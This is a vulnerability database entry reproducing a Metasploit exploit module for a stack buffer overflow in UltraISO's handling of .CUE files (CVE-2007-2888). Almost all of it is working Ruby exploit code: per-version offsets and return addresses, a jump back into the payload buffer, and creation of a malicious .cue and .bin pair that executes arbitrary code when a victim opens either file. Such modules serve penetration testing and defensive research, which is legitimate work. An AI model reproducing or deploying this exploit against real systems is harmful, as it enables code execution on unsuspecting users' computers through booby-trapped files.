UltraISO CUE File Parsing Buffer Overflow

2010-03-29T17:21:15
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/ULTRAISO_CUE
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack-based buffer overflow in EZB Systems, Inc's UltraISO. When processing .CUE files, data is read from file into a fixed-size stack buffer. Since no bounds checking is done, a buffer overflow can occur. Attackers can execute arbitrary code by convincing their victim to open an CUE file. NOTE: A file with the same base name, but the extension of "bin" must also exist. Opening either file will trigger the vulnerability, but the files must both exist.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UltraISO CUE File Parsing Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in EZB Systems, Inc's
        UltraISO. When processing .CUE files, data is read from file into a
        fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
        can occur. Attackers can execute arbitrary code by convincing their victim
        to open an CUE file.

        NOTE: A file with the same base name, but the extension of "bin" must also
        exist. Opening either file will trigger the vulnerability, but the files must
        both exist.
      },
      'License'        => MSF_LICENSE,
      'Author' 	     =>
        [
          'n00b',  # original discovery
          'jduck' # metasploit version
        ],
      'References'     =>
        [
          [ 'CVE', '2007-2888' ],
          [ 'OSVDB', '36570' ],
          [ 'BID', '24140' ],
          [ 'EDB', '3978' ]
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00\x0a\x0d\x22",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # BOF @ 0x005e1f8b

          # The EXE base addr contains a bad char (nul). This prevents us from
          # writing data after the return address.  NOTE: An SEH exploit was
          # originally created for this vuln, but was tossed in favor of using
          # the return address method instead. This is due to the offset being
          # stable across different open methods.

          [ 'Windows - UltraISO v8.6.2.2011 portable',
            {
              'Offset' => 1100,
              'JmpOff' => 0x30,   # offset from the end to our jmp
              'Ret' => 0x00594740 # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
            }
          ],
          [ 'Windows - UltraISO v8.6.0.1936',
            {
              'Offset' => 1100,
              'JmpOff' => 0x30,   # offset from the end to our jmp
              'Ret' => 0x0059170c # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 24 2007',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.cue']),
      ])
  end

  def exploit

    off = target['Offset']
    jmpoff = target['JmpOff']

    sploit = "\""
    sploit << payload.encoded
    sploit << rand_text_alphanumeric(off - sploit.length)

    # Smashed return address..
    sploit[off, 4] = [target.ret].pack('V')

    # We utilize a single instruction near the end of the buffer space to
    # jump back to the beginning of the buffer..
    distance = off - jmpoff
    distance -= 1 # dont execute the quote character!
    jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
    sploit[off - jmpoff, jmp.length] = jmp

    sploit << ".BIN\""

    cue_data = "FILE "
    cue_data << sploit
    cue_data << " BINARY\r\n"
    cue_data << " TRACK 01 MODE1/2352\r\n"
    cue_data << "   INDEX 01 00:00:00\r\n"

    print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")
    file_create(cue_data)

    # This extends the current class, and changes the file_format_name.
    # This allows us to use the file_create(data) to store the created
    # file in the correct directory.

    class << self
      def file_format_filename
        datastore['FILENAME'].gsub(/\.cue$/, '.bin')
      end
    end

    file_create('')
  end
end